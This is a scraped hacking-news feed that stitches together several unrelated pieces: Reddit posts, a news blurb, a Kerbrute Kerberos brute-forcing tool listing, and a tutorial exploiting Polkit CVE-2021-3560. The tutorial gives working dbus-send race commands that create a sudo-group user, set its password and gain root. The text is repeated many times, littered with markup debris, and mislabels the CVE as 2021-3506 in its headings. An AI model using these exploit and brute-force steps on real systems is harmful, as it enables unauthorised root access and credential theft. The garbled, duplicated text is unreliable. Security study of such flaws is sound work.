Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Some of my social media accounts are getting hacked and spamming comments, messages, follow etc,
Hello there, tldr: some of my social media like reddit, Instagram are getting accessed by some bot or people I'm not sure but they are spamming other subreddit, following random people etc.
How is this even happening? I use custom rom like Pixel experience, is this leaking my info? Or my browsers like MS edge, chrome are leaking passwords?
I'm usually very careful with my social network account and my privacy. My background is intermediate software dev by that I mean I have common sense😅.
Later when I found these things happening, changed password + setup with Authenticator app.
Edit: Thanks for all your reply. I'll manage and improve my security.
submitted by /u/Sajad_lx
[link] [comments]
Some of my social media accounts are getting hacked and spamming comments, messages, follow etc,
Hello there, tldr: some of my social media like reddit, Instagram are getting accessed by some bot or people I'm not sure but they are spamming other subreddit, following random people etc.
How is this even happening? I use custom rom like Pixel experience, is this leaking my info? Or my browsers like MS edge, chrome are leaking passwords?
I'm usually very careful with my social network account and my privacy. My background is intermediate software dev by that I mean I have common sense😅.
Later when I found these things happening, changed password + setup with Authenticator app.
Edit: Thanks for all your reply. I'll manage and improve my security.
submitted by /u/Sajad_lx
[link] [comments]
reddit
Some of my social media accounts are getting hacked and spamming...
Hello there, tldr: some of my social media like reddit, Instagram are getting accessed by some bot or people I'm not sure but they are spamming...
hacking: security in practice
My social Bot
I have finally finished to develop a social engagement tool
It's main function is to gain visibility by liking and commenting on other people fotos on Instagram
What should I do with it Now? (Please help me)
View Poll
submitted by /u/G4lile00
[link] [comments]
My social Bot
I have finally finished to develop a social engagement tool
It's main function is to gain visibility by liking and commenting on other people fotos on Instagram
What should I do with it Now? (Please help me)
View Poll
submitted by /u/G4lile00
[link] [comments]
reddit
My social Bot
I have finally finished to develop a social engagement tool It's main function is to gain visibility by liking and commenting on other people...
hacking: security in practice
Any reliable youtube channels?
Recently got a pc and was wondering if there is any legit YouTube channel for hacking/modding games that aren’t viruses.
submitted by /u/heyiisme
[link] [comments]
Any reliable youtube channels?
Recently got a pc and was wondering if there is any legit YouTube channel for hacking/modding games that aren’t viruses.
submitted by /u/heyiisme
[link] [comments]
reddit
Any reliable youtube channels?
Recently got a pc and was wondering if there is any legit YouTube channel for hacking/modding games that aren’t viruses.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles|Raj Chandel's Blog
Linux Privilege Escalation: Polkit CVE 2021-3560
IntroductionAccording to Red Hat, “Polkit stands for PolicyKit which is a framework that provides an authorization API used by privileged programs.” Pkexec is a tool in PolicyKit or polkit that allows a user to run a command as a different user. This vulnerability tricks polkit into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. It was discovered by Kevin Backhouse and can be read here.<o:p Table of Content<o:p· Polkit, pkexec and dbus<o:p
· Background of CVE 2021-3506<o:p
· Exploitation of CVE 2021-3506<o:p
· Conclusion<o:p
<o:p polkit, pkexec, and dbus<o:pPolkit and pkexec: PolicyKit is also known as polkit in linux systems. It is an authorization API used by programs to elevate its permissions to that of an elevated user and run processes as elevated user (root, generally). If the user is not specified it tries to run that command as root user. Sudo does the same thing in terms that it lets a user run commands as root, however, with pkexec, admins can finely control the execution of particular programs by defining policies for it. Sudo has no restriction and a user may run any command as an elevated user given he knows the password. Pkexec also takes some effort in setting up but Debian variants, including the popular Ubuntu, comes with polkit and pkexec pre-installed. These authorization rules for third party packages are defined in *.rules JavaScript files kept in the directory /usr/share/polkit-1/rules.d/ <o:phttps://blogger.googleusercontent.com/img/a/AVvXsEj77dYTvGor53fRoXffG5NAViBqZF4vvUf0PeGwjfAJXu6BSgAu5jxV-somrzxrwlVbrmiPBpmaezYWd483LMcy2wPmziixcnORRcvDW_sT4AmTZn5CNEkLT-tUEo92aRe7xpq2APECG8M0xVEPxDxi_CMka7OzjEGjkZXNwP0enewC9npLqh8Fkwx6Yw=s16000 <v:shapetype<v:stroke<v:formulas<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:path<o:lock<v:shape<v:imagedata<o:p
While authorization rules for local customization are stored in /etc/polkit-1/ You would observe *.conf files here. Conf and pkla files used to exist before *.rules and are there for backwards compatibility reasons.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjDR5CMonRcXCNUpJ1NA1uOJ7CUjdPBV2u0FmcpsBtS7bd6moJ8FPDo9Wa95vnyz2i6ENSiA9-NkTsNTUjd5oFtSh8ZJ9405U2Csx9WIJHXYbl0jJrUs4n2Ihi7ce506UO8GVFWNSZRx0_YRJQ_DNfJ2PbsuNYEYH0H8OX3JIAXfIqlSTcUNODPgyhZpQ=s16000 <v:shape<v:imagedata<o:p dbus: dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like:<o:p dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply \<o:p/org/freedesktop/DBus org.freedesktop.DBus.ListNames<o:pIn this demo, we’ll be using dbus to trigger pkexec from command line. You can read more about dbus here.<o:p Background of CVE 2021-3506<o:pPolkit is a background process that allows authorization but it has a graphical prompt that Ubuntu users must be familiar with. It looks like this:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhZMLUD6_yde6zKL8j8k8_bR5Ae3zECHZ9MVOWubc2pOoyP-oqO8rXRguXdPXhGEWgcMr1kkH1qtOWrfujF6ZroLGoJxjbt29X_9T5ldR3c-_T62aYXMmOndW6pTwJWyacH8Rt4tysBkXJSyGrsiISy-uB-DOslx1vlqQ28DLKZP3YmeCfOi9hSIlA6wA=s16000 <v:shape<v:imagedata<o:p
However, polkit is executed in text mode too while using text-mode session, for example, while using ssh.<o:p ssh pentest@192.168.1.141<o:ppkexec sh<o:pAs you can see, pkexec has now been executed in CLI.<o:p https://blogger.go[...]
Linux Privilege Escalation: Polkit CVE 2021-3560
IntroductionAccording to Red Hat, “Polkit stands for PolicyKit which is a framework that provides an authorization API used by privileged programs.” Pkexec is a tool in PolicyKit or polkit that allows a user to run a command as a different user. This vulnerability tricks polkit into bypassing the credential checks for D-Bus requests, elevating the privileges of the requestor to the root user. It was discovered by Kevin Backhouse and can be read here.<o:p Table of Content<o:p· Polkit, pkexec and dbus<o:p
· Background of CVE 2021-3506<o:p
· Exploitation of CVE 2021-3506<o:p
· Conclusion<o:p
<o:p polkit, pkexec, and dbus<o:pPolkit and pkexec: PolicyKit is also known as polkit in linux systems. It is an authorization API used by programs to elevate its permissions to that of an elevated user and run processes as elevated user (root, generally). If the user is not specified it tries to run that command as root user. Sudo does the same thing in terms that it lets a user run commands as root, however, with pkexec, admins can finely control the execution of particular programs by defining policies for it. Sudo has no restriction and a user may run any command as an elevated user given he knows the password. Pkexec also takes some effort in setting up but Debian variants, including the popular Ubuntu, comes with polkit and pkexec pre-installed. These authorization rules for third party packages are defined in *.rules JavaScript files kept in the directory /usr/share/polkit-1/rules.d/ <o:phttps://blogger.googleusercontent.com/img/a/AVvXsEj77dYTvGor53fRoXffG5NAViBqZF4vvUf0PeGwjfAJXu6BSgAu5jxV-somrzxrwlVbrmiPBpmaezYWd483LMcy2wPmziixcnORRcvDW_sT4AmTZn5CNEkLT-tUEo92aRe7xpq2APECG8M0xVEPxDxi_CMka7OzjEGjkZXNwP0enewC9npLqh8Fkwx6Yw=s16000 <v:shapetype<v:stroke<v:formulas<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:f<v:path<o:lock<v:shape<v:imagedata<o:p
While authorization rules for local customization are stored in /etc/polkit-1/ You would observe *.conf files here. Conf and pkla files used to exist before *.rules and are there for backwards compatibility reasons.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjDR5CMonRcXCNUpJ1NA1uOJ7CUjdPBV2u0FmcpsBtS7bd6moJ8FPDo9Wa95vnyz2i6ENSiA9-NkTsNTUjd5oFtSh8ZJ9405U2Csx9WIJHXYbl0jJrUs4n2Ihi7ce506UO8GVFWNSZRx0_YRJQ_DNfJ2PbsuNYEYH0H8OX3JIAXfIqlSTcUNODPgyhZpQ=s16000 <v:shape<v:imagedata<o:p dbus: dbus is a message system for applications to talk to one another (known as IPC or interprocess communication). This was developed as part of the freedesktop.org project. A basic dbus command to list system services looks like:<o:p dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply \<o:p/org/freedesktop/DBus org.freedesktop.DBus.ListNames<o:pIn this demo, we’ll be using dbus to trigger pkexec from command line. You can read more about dbus here.<o:p Background of CVE 2021-3506<o:pPolkit is a background process that allows authorization but it has a graphical prompt that Ubuntu users must be familiar with. It looks like this:<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhZMLUD6_yde6zKL8j8k8_bR5Ae3zECHZ9MVOWubc2pOoyP-oqO8rXRguXdPXhGEWgcMr1kkH1qtOWrfujF6ZroLGoJxjbt29X_9T5ldR3c-_T62aYXMmOndW6pTwJWyacH8Rt4tysBkXJSyGrsiISy-uB-DOslx1vlqQ28DLKZP3YmeCfOi9hSIlA6wA=s16000 <v:shape<v:imagedata<o:p
However, polkit is executed in text mode too while using text-mode session, for example, while using ssh.<o:p ssh pentest@192.168.1.141<o:ppkexec sh<o:pAs you can see, pkexec has now been executed in CLI.<o:p https://blogger.go[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles|Raj Chandel's Blog Linux Privilege Escalation: Polkit CVE 2021-3560 IntroductionAccording to Red Hat, “Polkit stands for PolicyKit which is a framework that provides an authorization API used by privileged programs.” Pkexec is a tool in PolicyKit…
ogleusercontent.com/img/a/AVvXsEhq0UwQ6HDKGkynKrlarKwzmVA9pN4t8DL_zMT1Yx9kddRSxL5WQAJ3xEgUB-al1W5LXMBhhn3qfZDnXJ_B2yyJ24s0VuHkizcIuw2--h-kNAcIUm07VoatRx9RT7qxSvM83ek0uAKOfLm1PLQJBFRG3rBM5zK8ehsWEjlft_EMo1DnrOABZX9tQOHd3w=s16000 <v:shape<v:imagedata<o:p
Now getting back to dbus here. It is an IPC agent which can help us to send commands or messages to other processes and communicate with them. To perform operations, dbus has various service files configured which reference the absolute paths of executables or daemons that are to be triggered. For system processes, dbus stores service files in /usr/share/dbus-1/system-services. Here, you can see we see contents of hostname.service which performs hostname modification operations in Ubuntu and Accounts.service which triggers accounts-daemon to perform user addition/modification options.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgSPJzYI3bYDasIsJXVU6hVPV7JAGBeKH5nF3z7q2nnBvUUPn5cxfRaahyDUB2KQclThQcImMTNupPOdZWTn9UMR52BVt-vlyoKz__4nEHntMSnBlcAFQb7hUnopyj-S1SQIvtJRNqSsDuTmRa0EXIug8a1ywy9w5RuhnU38Bl4ZhVX8_-vmPQsB0vHJQ=s16000 <v:shape<v:imagedata<o:p
So, dbus can be used to execute a command and request polkit’s authorization for it. Each interface and method has its own XML configuration file that will reveal what parameters dbus sends to it while executing. We won’t get into that right now.<o:p
Kevin Backhouse posted this article where he detected a vulnerability in polkit that can be triggered by running dbus-send command but killing it while polkit is still executing it and execution isn’t complete. In this demonstration we will be creating a new user in the system without root password. For that we would first launch a text-only session using ssh and then the dbus-send command:<o:p dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1<o:p--system: sends message to the system bus<o:p
--dest: name of the connection (interface) that receives the message<o:p
--type: method_call means a system function with arguments being passed<o:p
--print-reply: prints the output in human readable format<o:p
/org/freedesktop/Accounts: This is the function that will be used<o:p
org.freedesktop.Accounts.CreateUser: Method that will be used. Here, createuser method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.<o:p
You can find the configuration xml file for this method here.<o:p
But this will fail as authentication is required for us to create a new user.<o:p
<v:shape<v:imagedata<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg0jalx-Pl5ZnyC3v253zug88MKUi5i-YNdx-eTA7J_sCcfmNVZ5ktJwkuC16QZdEvv-6IvHVf_PA8m_HvSFd_6aoRi6gr3vrR5FRM5UabXZH01NEzvo_doRCgvjNp_7nucuXCgRRIzbKtv9Tz0L5HkLafMG9TWT68kEZUNLruyTP88ymSFeiMnMNz16g=s16000 Exploitation of CVE 2021-3506<o:pFor the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command. <o:p time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1<o:pAs you can see, it takes me 0.008 seconds to execute this command. So, I need to kill my payload before 0.008 seconds for it to work.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEibkILJ1tKR_dGar4HtyR13zgesS4IGc_PkSP6jI7s5oOVLIbXW5yUwNH0cIKcx025lKJ1Gg5_AQZYsD4SMVL_YpzM06Zrs2WOievd-k5SCTTnttrlT50wrW8wEpBlSLP7rdX4wzwfz16a7iga7Ex8Iu5X4eijWjhhYegewR2wq5F9RCbf129XMHM3RWw=s16000 <v:s[...]
Now getting back to dbus here. It is an IPC agent which can help us to send commands or messages to other processes and communicate with them. To perform operations, dbus has various service files configured which reference the absolute paths of executables or daemons that are to be triggered. For system processes, dbus stores service files in /usr/share/dbus-1/system-services. Here, you can see we see contents of hostname.service which performs hostname modification operations in Ubuntu and Accounts.service which triggers accounts-daemon to perform user addition/modification options.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgSPJzYI3bYDasIsJXVU6hVPV7JAGBeKH5nF3z7q2nnBvUUPn5cxfRaahyDUB2KQclThQcImMTNupPOdZWTn9UMR52BVt-vlyoKz__4nEHntMSnBlcAFQb7hUnopyj-S1SQIvtJRNqSsDuTmRa0EXIug8a1ywy9w5RuhnU38Bl4ZhVX8_-vmPQsB0vHJQ=s16000 <v:shape<v:imagedata<o:p
So, dbus can be used to execute a command and request polkit’s authorization for it. Each interface and method has its own XML configuration file that will reveal what parameters dbus sends to it while executing. We won’t get into that right now.<o:p
Kevin Backhouse posted this article where he detected a vulnerability in polkit that can be triggered by running dbus-send command but killing it while polkit is still executing it and execution isn’t complete. In this demonstration we will be creating a new user in the system without root password. For that we would first launch a text-only session using ssh and then the dbus-send command:<o:p dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1<o:p--system: sends message to the system bus<o:p
--dest: name of the connection (interface) that receives the message<o:p
--type: method_call means a system function with arguments being passed<o:p
--print-reply: prints the output in human readable format<o:p
/org/freedesktop/Accounts: This is the function that will be used<o:p
org.freedesktop.Accounts.CreateUser: Method that will be used. Here, createuser method is used which will essentially create a new user with the name specified in string 1. String 2 is the name (“ignite user”) that will be visible in the system. int32 is an integer argument the method takes in that specifies the type of account encoded as an integer.<o:p
You can find the configuration xml file for this method here.<o:p
But this will fail as authentication is required for us to create a new user.<o:p
<v:shape<v:imagedata<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg0jalx-Pl5ZnyC3v253zug88MKUi5i-YNdx-eTA7J_sCcfmNVZ5ktJwkuC16QZdEvv-6IvHVf_PA8m_HvSFd_6aoRi6gr3vrR5FRM5UabXZH01NEzvo_doRCgvjNp_7nucuXCgRRIzbKtv9Tz0L5HkLafMG9TWT68kEZUNLruyTP88ymSFeiMnMNz16g=s16000 Exploitation of CVE 2021-3506<o:pFor the exploit to work, we need to kill the command while it is being executed. For this we need to check the time it takes to execute this command. <o:p time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1<o:pAs you can see, it takes me 0.008 seconds to execute this command. So, I need to kill my payload before 0.008 seconds for it to work.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEibkILJ1tKR_dGar4HtyR13zgesS4IGc_PkSP6jI7s5oOVLIbXW5yUwNH0cIKcx025lKJ1Gg5_AQZYsD4SMVL_YpzM06Zrs2WOievd-k5SCTTnttrlT50wrW8wEpBlSLP7rdX4wzwfz16a7iga7Ex8Iu5X4eijWjhhYegewR2wq5F9RCbf129XMHM3RWw=s16000 <v:s[...]
Hacking Articles Tips Tricks Videos Tutorials
ogleusercontent.com/img/a/AVvXsEhq0UwQ6HDKGkynKrlarKwzmVA9pN4t8DL_zMT1Yx9kddRSxL5WQAJ3xEgUB-al1W5LXMBhhn3qfZDnXJ_B2yyJ24s0VuHkizcIuw2--h-kNAcIUm07VoatRx9RT7qxSvM83ek0uAKOfLm1PLQJBFRG3rBM5zK8ehsWEjlft_EMo1DnrOABZX9tQOHd3w=s16000 <v:shape<v:imagedata<o:p Now…
hape<v:imagedata<o:p
Kevin mentions a user can hit CTRL+C quickly and it should work but better leave it to a simple inline bash script to kill process in 0.0035 seconds. Note that we tried a lot of times and the time needed to run was different every time. So, you would need to experiment with it too and see which time suits you and would let the exploit run properly. Here<o:p dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1 & sleep 0.0035s ; kill $!<o:pWe ran the same command about 5-7 times before our user ignite got created! What’s more is that ignite is a member of sudo group!<o:p How did it work? Dbus assings a unique ID to any connection. Polkit verifies that Unique ID and provides authorization. Let’s say the UID is 1.87. Since, the connection breaks in between, polkit recognizes the UID as 0 and considers the request coming from root. Hence, this is how the exploit works.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjRh8N7aYayfkMLdIMWuJjiatZaD9WvLxVkEcZBQq0FPfqs7GgipNrh7H2JvFVw0jQBw8S1CBW_7Fa31OMJu7nd6gdH2m7gOg__uj3AU9HwjRXei11mbDQkK0eXW12hijjzjIBBXwzoFlk1sVY4licrxzTwkYJCyHYt8CGloOnuCegSsHxoGlKoGnTniA=s16000 <v:shape<v:imagedata<o:p
We can check the /etc/passwd for its validity. Also, as you can see the uid is 1001 here.<o:p tail -n 3 /etc/passwd<o:pNext, we need to supply in the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.<o:p openssl passwd -5 ignite@123<o:pThis would generate a hash in SHA-256 format. We can use any other encryption too as per the system configuration.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiJEsziyM2BGe-VnS1eB_4v8b-qO_NGNXpO4k1j4ZyQot3GaRUs7oeyqzvnUsM9S9eEWx4abH-M21_CAoYNMCvGnQaSEciuBinewVsAfXFppVIkeGBay_VIEmvtHUVXCOGTE2RYK6m1_LcJIFS5YRcqlfJuLQ-7OWRd18y9wvC6hBvbJ6X2tZohS6xzzQ=s16000 <v:shape<v:imagedata<o:p
Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like:<o:p dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!<o:pHere, User.SetPassword has been used. Two parameters are passed. First string is the hashed credential and the second string: “BestHackingTutorials” is the password hint. This can be changed too.<o:p
We need to send this command 6-7 times for this to run. We can login to this user now.<o:p su ignite<o:ppassword: ignite@123<o:pwhoami<o:pid<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg_yCwBZs9uCkyo3F4lZCV3qbBJffaJGa9XnKOx0Zhu4XQ7v1GPYjAIxkPusy4uJh3sNwCWgFtpWUmzge6JWkAYdNXlhqkrGGHdAWrtIy6TQ1qfqUad-Czs8bzLLZdjyFWXXbG1nmsl1V1Ry-2Abk5uwh2ZOFqAfzIun6FDdstidxHBuVLMYXz3pfiUJw=s16000 <v:shape<v:imagedata<o:p
You can escalate your privileges by sudo bash as user ignite is a member of the sudo group.<o:p
<v:shape<v:imagedata<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgSBo644Zeio-WP9cA83SXkna_BJHom5nBRKSSB6PkwgcezRAhpABYISLzO1WCRkEkfWIOB2yO6NjP2BV8l2hifMkWMTMWxqaWtRvoGGV1J_fbukULwtpuTleuYOprnEiAT4QXK9c9WH9I1dsDqyuyiPKRTcBFZHfnc6ODtDwibLvw-Mh7eGQPCmeX8Rw=s16000 Conclusion<o:pPolkit is a pre-installed package in Linux distros. Any system running polkit version < 0.119 is vulnerable to privilege escalation through this method. It has high impact rating and exploitation is fairly easy as no exploit development knowledge is required. Hope you enjoyed the article. Thanks for reading.<o:p
Kevin mentions a user can hit CTRL+C quickly and it should work but better leave it to a simple inline bash script to kill process in 0.0035 seconds. Note that we tried a lot of times and the time needed to run was different every time. So, you would need to experiment with it too and see which time suits you and would let the exploit run properly. Here<o:p dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite string:"ignite user" int32:1 & sleep 0.0035s ; kill $!<o:pWe ran the same command about 5-7 times before our user ignite got created! What’s more is that ignite is a member of sudo group!<o:p How did it work? Dbus assings a unique ID to any connection. Polkit verifies that Unique ID and provides authorization. Let’s say the UID is 1.87. Since, the connection breaks in between, polkit recognizes the UID as 0 and considers the request coming from root. Hence, this is how the exploit works.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEjRh8N7aYayfkMLdIMWuJjiatZaD9WvLxVkEcZBQq0FPfqs7GgipNrh7H2JvFVw0jQBw8S1CBW_7Fa31OMJu7nd6gdH2m7gOg__uj3AU9HwjRXei11mbDQkK0eXW12hijjzjIBBXwzoFlk1sVY4licrxzTwkYJCyHYt8CGloOnuCegSsHxoGlKoGnTniA=s16000 <v:shape<v:imagedata<o:p
We can check the /etc/passwd for its validity. Also, as you can see the uid is 1001 here.<o:p tail -n 3 /etc/passwd<o:pNext, we need to supply in the password using dbus so that we can use this newly created user. We need to generate a hashed password as dbus-send takes in hashed password as input.<o:p openssl passwd -5 ignite@123<o:pThis would generate a hash in SHA-256 format. We can use any other encryption too as per the system configuration.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEiJEsziyM2BGe-VnS1eB_4v8b-qO_NGNXpO4k1j4ZyQot3GaRUs7oeyqzvnUsM9S9eEWx4abH-M21_CAoYNMCvGnQaSEciuBinewVsAfXFppVIkeGBay_VIEmvtHUVXCOGTE2RYK6m1_LcJIFS5YRcqlfJuLQ-7OWRd18y9wvC6hBvbJ6X2tZohS6xzzQ=s16000 <v:shape<v:imagedata<o:p
Now we need to pass this hash in User.SetPassword function using dbus under a string parameter. The payload looks like:<o:p dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!<o:pHere, User.SetPassword has been used. Two parameters are passed. First string is the hashed credential and the second string: “BestHackingTutorials” is the password hint. This can be changed too.<o:p
We need to send this command 6-7 times for this to run. We can login to this user now.<o:p su ignite<o:ppassword: ignite@123<o:pwhoami<o:pid<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg_yCwBZs9uCkyo3F4lZCV3qbBJffaJGa9XnKOx0Zhu4XQ7v1GPYjAIxkPusy4uJh3sNwCWgFtpWUmzge6JWkAYdNXlhqkrGGHdAWrtIy6TQ1qfqUad-Czs8bzLLZdjyFWXXbG1nmsl1V1Ry-2Abk5uwh2ZOFqAfzIun6FDdstidxHBuVLMYXz3pfiUJw=s16000 <v:shape<v:imagedata<o:p
You can escalate your privileges by sudo bash as user ignite is a member of the sudo group.<o:p
<v:shape<v:imagedata<o:p https://blogger.googleusercontent.com/img/a/AVvXsEgSBo644Zeio-WP9cA83SXkna_BJHom5nBRKSSB6PkwgcezRAhpABYISLzO1WCRkEkfWIOB2yO6NjP2BV8l2hifMkWMTMWxqaWtRvoGGV1J_fbukULwtpuTleuYOprnEiAT4QXK9c9WH9I1dsDqyuyiPKRTcBFZHfnc6ODtDwibLvw-Mh7eGQPCmeX8Rw=s16000 Conclusion<o:pPolkit is a pre-installed package in Linux distros. Any system running polkit version < 0.119 is vulnerable to privilege escalation through this method. It has high impact rating and exploitation is fairly easy as no exploit development knowledge is required. Hope you enjoyed the article. Thanks for reading.<o:p
DARPA’s quest for the (almost) unhackable
https://readme.security/darpas-quest-for-the-almost-unhackable-6b38487c6bb6?source=rss------bug_bounty-5
https://readme.security/darpas-quest-for-the-almost-unhackable-6b38487c6bb6?source=rss------bug_bounty-5
Welcome to Changelog by README! I’m your host, Blake Sobczak. Every Sunday, I’ll deliver cybersecurity news and analysis to your inbox…Continue reading on README_ » (https://readme.security/darpas-quest-for-the-almost-unhackable-6b38487c6bb6?source=rss------bug_bounty-5)
Kerbrute - An Script To Perform Kerberos Bruteforcing By Using Impacket
http://www.kitploit.com/2022/01/kerbrute-script-to-perform-kerberos.html
http://www.kitploit.com/2022/01/kerbrute-script-to-perform-kerberos.html
An script to perform kerberos bruteforcing (https://www.kitploit.com/search/label/Bruteforcing) by using the Impacket library. When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force (https://www.kitploit.com/search/label/Brute-force) attack to enumerate: Valid username/passwords pairs Valid usernames Usernames without pre-authentication required As a result, the script generates a list of valid credentials (https://www.kitploit.com/search/label/Credentials) discovered, and the TGT's generated due those valid credentials.
Installation From pypi: pip3 install kerbrute
From repo: git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
Use Help without arguments: ] [-threads THREADS] [-outputfile OUTPUTFILE] [-no-save-ticket] optional arguments: -h, --help show this help message and exit -debug Turn DEBUG output ON -user USER User to perform bruteforcing -users USERS File with user per line -password PASSWORD Password to perform bruteforcing -passwords PASSWORDS File with password per line -domain DOMAIN Domain to perform bruteforcing -dc-ip IP Address of the domain controller -threads THREADS Number of threads to perform bruteforcing. Default = 1 -outputfile OUTPUTFILE File to save discovered user:password -no-save-ticket Do not save retrieved TGTs with correct credentials Examples: ./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com">root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip ] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com Example of execution: triceratops:Sh4rpH0rns [*] Saved TGT in triceratops.ccache [*] Valid user => velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Saved discovered passwords (https://www.kitploit.com/search/label/Passwords) in jurassic_passwords.txt">root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt
Download Kerbrute (https://github.com/TarlogicSecurity/kerbrute)
Installation From pypi: pip3 install kerbrute
From repo: git clone https://github.com/TarlogicSecurity/kerbrute
cd kerbrute
pip install -r requirements.txt
Use Help without arguments: ] [-threads THREADS] [-outputfile OUTPUTFILE] [-no-save-ticket] optional arguments: -h, --help show this help message and exit -debug Turn DEBUG output ON -user USER User to perform bruteforcing -users USERS File with user per line -password PASSWORD Password to perform bruteforcing -passwords PASSWORDS File with password per line -domain DOMAIN Domain to perform bruteforcing -dc-ip IP Address of the domain controller -threads THREADS Number of threads to perform bruteforcing. Default = 1 -outputfile OUTPUTFILE File to save discovered user:password -no-save-ticket Do not save retrieved TGTs with correct credentials Examples: ./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com">root@kali:~# kerbrute
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS)
[-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN
[-dc-ip ] [-threads THREADS]
[-outputfile OUTPUTFILE] [-no-save-ticket]
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
-user USER User to perform bruteforcing
-users USERS File with user per line
-password PASSWORD Password to perform bruteforcing
-passwords PASSWORDS File with password per line
-domain DOMAIN Domain to perform bruteforcing
-dc-ip IP Address of the domain controller
-threads THREADS Number of threads to perform bruteforcing. Default = 1
-outputfile OUTPUTFILE
File to save discovered user:password
-no-save-ticket Do not save retrieved TGTs with correct credentials
Examples:
./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com Example of execution: triceratops:Sh4rpH0rns [*] Saved TGT in triceratops.ccache [*] Valid user => velociraptor [NOT PREAUTH] [*] Valid user => trex [*] Saved discovered passwords (https://www.kitploit.com/search/label/Passwords) in jurassic_passwords.txt">root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation
[*] Stupendous => triceratops:Sh4rpH0rns
[*] Saved TGT in triceratops.ccache
[*] Valid user => velociraptor [NOT PREAUTH]
[*] Valid user => trex
[*] Saved discovered passwords in jurassic_passwords.txt
